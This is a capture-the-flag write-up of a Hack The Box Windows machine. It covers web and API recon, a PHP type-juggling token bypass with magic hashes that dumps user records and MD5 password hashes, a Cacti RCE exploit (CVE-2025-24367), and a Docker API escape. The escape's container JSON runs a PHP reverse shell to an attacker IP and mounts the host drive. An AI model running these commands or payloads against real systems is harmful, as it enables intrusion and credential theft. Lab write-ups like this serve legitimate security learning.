Post

Exploitation of PHP vulnerabilities, CVE-2025–9074 and CVE-2025-24367

Exploitation of PHP vulnerabilities, CVE-2025–9074 and CVE-2025-24367

Hello everyone! we’re gonna take a look to a easy machine of hackthebox that i recently pwned,discovering interesting vulnerabilities that can nowdays affect multiple website and having fun with a lot of recon!

Network Recon

Target: 10.10.11.98

As always, i start my scan with the fastes port discovery i know: rustscan

1
rustscan -a 10.10.11.96 --ulimit 5000

Output:

1
2
Open 10.10.11.98:80  
Open 10.10.11.98:5985

Let’s delve deeper

1
❯ nmap -sT -A -Pn -T5 -p 80,5985 10.10.11.98 --disable-arp-ping --min-rtt-timeout 50ms --max-rtt-timeout 100ms --stats-every=2s

Output:

1
2
3
4
5
6
PORT     STATE    SERVICE VERSION  
80/tcp   filtered http  
5985/tcp open     http    Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)  
|_http-title: Not Found  
|_http-server-header: Microsoft-HTTPAPI/2.0  
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

So we just have a website and a WinRM port

Web recon

Let’s use some nice tool to identify the technologies used by this site:

1
whatweb http://10.10.11.98

Output:

1
2
3
4
5
6
http://10.10.11.98 [302 Found] Country[RESERVED][ZZ], HTTPServer[nginx], IP[10.10.11.98], RedirectLocat  
ion[http://monitorsfour.htb/], Title[302 Found], nginx

http://monitorsfour.htb/ [200 OK] Bootstrap, Cookies[PHPSESSID], Country[RESERVED][ZZ], Email[sales@mon  
itorsfour.htb], HTTPServer[nginx], IP[10.10.11.98], JQuery, PHP[8.3.27], Script, Title[MonitorsFour - N  
etworking Solutions], X-Powered-By[PHP/8.3.27], X-UA-Compatible[IE=edge], nginx

The site is built with PHP 8.3.27, jQuery and nginx as a proxy manager.

Let’s lookup for some CVEs releated to this PHP version on ExploitDB

image

Let’s keep it in my mind and let’s see how the website looks:

image

Now we use feroxbuster to identify every available asset on the website.

1
❯ feroxbuster -u http://monitorsfour.htb/ -w /usr/share/wordlists/seclists/Discovery/Web-Content/common.txt -C 404

Output:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
http://monitorsfour.htb/static/images/review.svg
http://monitorsfour.htb/login
http://monitorsfour.htb/static/js/custom.js
http://monitorsfour.htb/static/js/smoothscroll.js
http://monitorsfour.htb/static/images/services/02.png
http://monitorsfour.htb/static/js/plugins.js
http://monitorsfour.htb/static/images/services/01.png
http://monitorsfour.htb/static/images/services/04.png
http://monitorsfour.htb/static/images/services/03.png
http://monitorsfour.htb/static/css/plugins.css
http://monitorsfour.htb/static/css/style.css
http://monitorsfour.htb/static/admin/assets/images/logo.png
http://monitorsfour.htb/static/images/service.svg
http://monitorsfour.htb/static/images/about-us.svg
http://monitorsfour.htb/static/js/popper.min.js
http://monitorsfour.htb/static/images/banner.svg
http://monitorsfour.htb/static/js/jquery-min.js
http://monitorsfour.htb/static/js/bootstrap.min.js
http://monitorsfour.htb/static/js/owl.carousel.min.js
http://monitorsfour.htb/static/admin/assets/images/logo.ico
http://monitorsfour.htb/controllers
http://monitorsfour.htb/static/admin/assets/js/plugins/loaders
http://monitorsfour.htb/static/admin/assets/js/plugins/loaders/blockui.min.js  
http://monitorsfour.htb/static/admin/assets/js/core/app.js
http://monitorsfour.htb/static/admin/assets/js/core/libraries
and more...

Let’s also use ReconSpider to get any scrapable information

1
❯ python3 ReconSpider.py -u http://monitorsfour.htb/

image

We found an email and other endpoints, however they seems to not containing any good information

We also have a login endpoint that doesn’t seems vulnerable to SQL injection, NoSqli or other type of injection vulnerabilities, so let’s continue with recon
image

Virtual host fuzzing

Let’s see if there is any vHost available fuzzing it with FFUF, i filter by size 138 and status code 404 since every request sent with a non valid vhost reply with size: 138

1
❯ ffuf -u http://monitorsfour.htb -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-20000.txt -fc 404 -H "HOST:FUZZ.monitorsfour.htb" -fs 138                                    

output:

1
cacti

Let’s go in this subdomain and let’s take a look.

Cacti Framework

Well! this is the 4th time i have to deal with cacti and every time is very funny :)

image

So we have cacti version 1.2.28 , if we look up for some CVEs, we find some interesting ones, CVE-2024-43363 was one of the most recents, remote code execution, but this one was address in cacti 1.28.8 , so let’s move on.

We ended up finding:

CVE-2025-24367

An authenticated Cacti user can abuse graph creation and graph template functionality to create arbitrary PHP scripts in the web root of the application, leading to remote code execution on the server. This vulnerability is fixed in 1.2.29.

Since we must be authenticated, we need to find a way to get credentials.

Insecure APIs and PHP Type Juggling vulnerability

Returning back to the main website login, we attempt to intercept the request using burpsuite proxy: image

let’s fuzz /api/v1/auth

1
❯ ffuf -u 'http://monitorsfour.htb/api/v1/FUZZ' -w /usr/share/wordlists/seclists/Discovery/Web-Content/api/api-endpoints-res.txt

Output: users
So we send the intercepted request to the repeater and modify the endpoint from /api/v1/auth to /api/v1/users as results we get :
Missing id parameter & Missing token parameter image

Of course, even after modifing the request, we don’t have any valid token, here it comes a wonderfull vulnerabilty:

Type juggling attack

If you already know what we are talking about , you can skip this part, if not, let me explain it to you:

PHP has a feature called “type juggling”, or “type coercion”, This means that during the comparison of variables of different types, PHP will first convert them to a common, comparable type. For example, when the program is comparing the string “7” and the integer 7 in the scenario below:

1
        <img width="443" height="163" alt="image" src="https://github.com/user-attachments/assets/c34ede50-adfe-4651-8449-ff107c027607" />

The code will run without errors and output “PHP can compare ints and strings.” This behavior is very helpful when you want your program to be flexible in dealing with different types of user input this behavior is also a major source of bugs and security vulnerabilities. For example, if we compare 7puppies with 7, the result will be TRUE (“7 puppies” == 7) -> True But what if the string that is being compared does not contain an integer? The string will then be converted to a “0”. So the following comparison will also evaluate to True: (“Puppies” == 0) -> True Loose type comparison behavior like these is pretty common in PHP and many built-in functions work in the same way. You can probably already see how this can be very problematic, but how exactly can hackers exploit this behavior?

Bypass authentication.

Let’s say the PHP code that handles authentication looks like this: if ($_POST[“password”] == “Admin_Password”) {login_as_admin();} Then, simply submitting an integer input of 0 would successfully log you in as admin, since this will evaluate to True: (0 == “Admin_Password”) -> True However, this vulnerability is not always exploitable and often needs to be combined with a deserialization flaw. The reason for this is that POST, GET parameters and cookie values are, for the most part, passed as strings or arrays into the program.

But

If the POST parameter from the example above is passed into the program as a string, PHP would be comparing two strings, and no type conversion would be needed. And “0” and “Admin_Password” are, obviously, different strings. “0” == “Admin_Password”) -> False

However, type juggling issues can be exploited if the application takes accepts the input via functions like json_decode() or unserialize(). This way, it would be possible for the end-user to specify the type of input passed in.

{“password”: “0”} to {“password”: 0} // Manipulating the request

Consider the above JSON blobs. The first one would cause the password parameter to be treated as a string whereas the second one would cause the input to be interpreted as an integer by PHP. This gives an attacker fine-grained control of the input data type and therefore the ability to exploit type juggling issues. Source

Exploitation

Instead of making our own magic hash list, we can find one of this in Seclists

1
❯ ffuf -u 'http://monitorsfour.htb/api/v1/user?token=FUZZ&id=1' -w ./Pattern-Matching/php-magic-hashes.txt                                                            

We get a list of hashes that let us bypass token validation image

Sending it to the repeater we notice that we still need a fundamental value: valid ids Let’s create a number wordlist and use again FFUF, this time fuzzing ids:

1
for i in {1..100};do echo $i;done >> ids.txt
1
❯ ffuf -u 'http://monitorsfour.htb/api/v1/user?token=0e074025&id=FUZZ' -w ./ids.txt -fs 36 | awk '{print $1}'

We get 5,2,7,6 image

after we sent the previous request to the burpsuite intruder and get every response content for that valid ids , we successfully get everything of that user:

image

1
2
3
4
5
6
7
8
{"id":5,"username":"mwatson","email":"mwatson@monitorsfour.htb","password":"69196959c16b26ef00b77d82cf6eb169","role":"user","token":"0e543210987654321","name":"Michael Watson","position":"Website Administrator","dob":"1985-02-15","start_date":"2021-05-11","salary":"75000.00"}

{"id":2,"username":"admin","email":"admin@monitorsfour.htb","password":"56b32eb43e6f15395f6c46c1c9e1cd36","role":"super user","token":"8024b78f83f102da4f","name":"v Higgins","position":"System Administrator","dob":"1978-04-26","start_date":"2021-01-12","salary":"320800.00"}

{"id":7,"username":"dthompson","email":"dthompson@monitorsfour.htb","password":"8d4a7e7fd08555133e056d9aacb1e519","role":"user","token":"0e111111111111111","name":"David Thompson","position":"Database Manager","dob":"1982-11-23","start_date":"2022-09-15","salary":"83000.00"}

{"id":6,"username":"janderson","email":"janderson@monitorsfour.htb","password":"2a22dcf99190c322d974c8df5ba3256b","role":"user","token":"0e999999999999999","name":"Jennifer Anderson","position":"Network Engineer","dob":"1990-07-16","start_date":"2021-06-20","salary":"68000.00"}

Taking a look , we notice the password hashing method is very insecure, MD5.. Using a simple site as CrackStation we receive the decodable hashes: image

So we have: admin:wonderful1
We can now access the admin dashboard, but nothing interesting is inside.

image

CVE-2025-24367 Exploitation

Spreading credentials found before over cacti, we signed in. For the exploitation part we can use this PoC

1
 python3 exploit.py -u marcus -p wonderful1 -i 10.10.14.34 -l 4242 -url  cacti.monitorsfour.htb 

image

Shell obtained!

# Privilege escalation
First of all, we are in a docker environment, and we don’t like docker environment, so we must escape it. After enumerating almost everything (SUID binaries..versions..capabilities..expoosed creds, insecure permissions & more) i found something interesting in resolv.conf: image

At this point i wanted to figure out if i can get any ICMP response from that ip in order to understand if we could reach it, but both nc/telnet and ping were unavailable, not even arp was inside this docker image, so i created this simple script, that target common ports:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
#!/bin/bash

TARGET_IP="192.168.65.7"
TIMEOUT=1

declare -a COMMON_PORTS=(21 22 23 25 53 80 110 135 139 143 443 445 3389 8080)
for PORT in "${COMMON_PORTS[@]}"; do
    (exec 3<> /dev/tcp/$TARGET_IP/$PORT) 2>/dev/null 1>&2
    
    if [ $? -eq 0 ]; then
        echo "[OPEN] Port $PORT"
    fi
    exec 3<&- 3>&- 
done

Then i had to adapt it in order to make it one-line,

1
TARGET_IP="192.168.65.7"; TIMEOUT=1; COMMON_PORTS=(21 22 23 25 53 80 110 135 139 143 443 445 3389 8080); for PORT in "${COMMON_PORTS[@]}"; do (exec 3<> /dev/tcp/$TARGET_IP/$PORT) 2>/dev/null 1>&2; if [ $? -eq 0 ]; then echo "[OPEN] Port $PORT"; fi; exec 3<&- 3>&-; done

The output that i received was just port 53, so i modified the script in order to attempt the connection in all the 65535 ports and found out that also 2375 was opened.

Taking a look online , we found out that this port could be’ exploited if not properly protected. Exploitation

Docker escape: CVE-2025–9074

This vulnerability consist in abusing exposed and insicure docker APIs in order to create a docker image that could mount root directory ( So that we can access every share in the windows host )

In order to verify if the api are vulnerable, we must send a request using curl

1
curl http:/192.168.65.7:2375/containers/json

image

Yes! let’s create a json file that describe how our image should be’

1
2
3
4
5
6
7
8
9
10
{
  "Image": "docker_setup-nginx-php:latest",
  "Cmd": ["/bin/sh", "-c", "php -r \"\\$sock=fsockopen('10.10.14.216',51002);exec('/bin/sh -i <&3 >&3 2>&3');\""],
  "HostConfig": {
    "Binds": ["/mnt/host/c:/host_root"]
  },
  "Tty": true,
  "OpenStdin": true
}

In order to get this final json, i had to deal a lot with it , many errors occurred, missing tools inside the image.. (bash,sh to get a reverse shell), finding the right mount part and more. but finally i was able to get a reverse shell by creating the container like so:

1
curl -H "Content-Type: application/json" -d @cr.json http://192.168.65.7:2375/containers/create -o resp.json

In the resp.json, there is the container Id, we must use it to start the container with that image

id=cdbe8635fa8c923e3452446a63a17c27251d9651b11a69e59de9fc8da8567cf9

1
curl -X POST http://192.168.65.7:2375/containers/$id/start

And finally we became root!
image

This post is licensed under CC BY 4.0 by the author.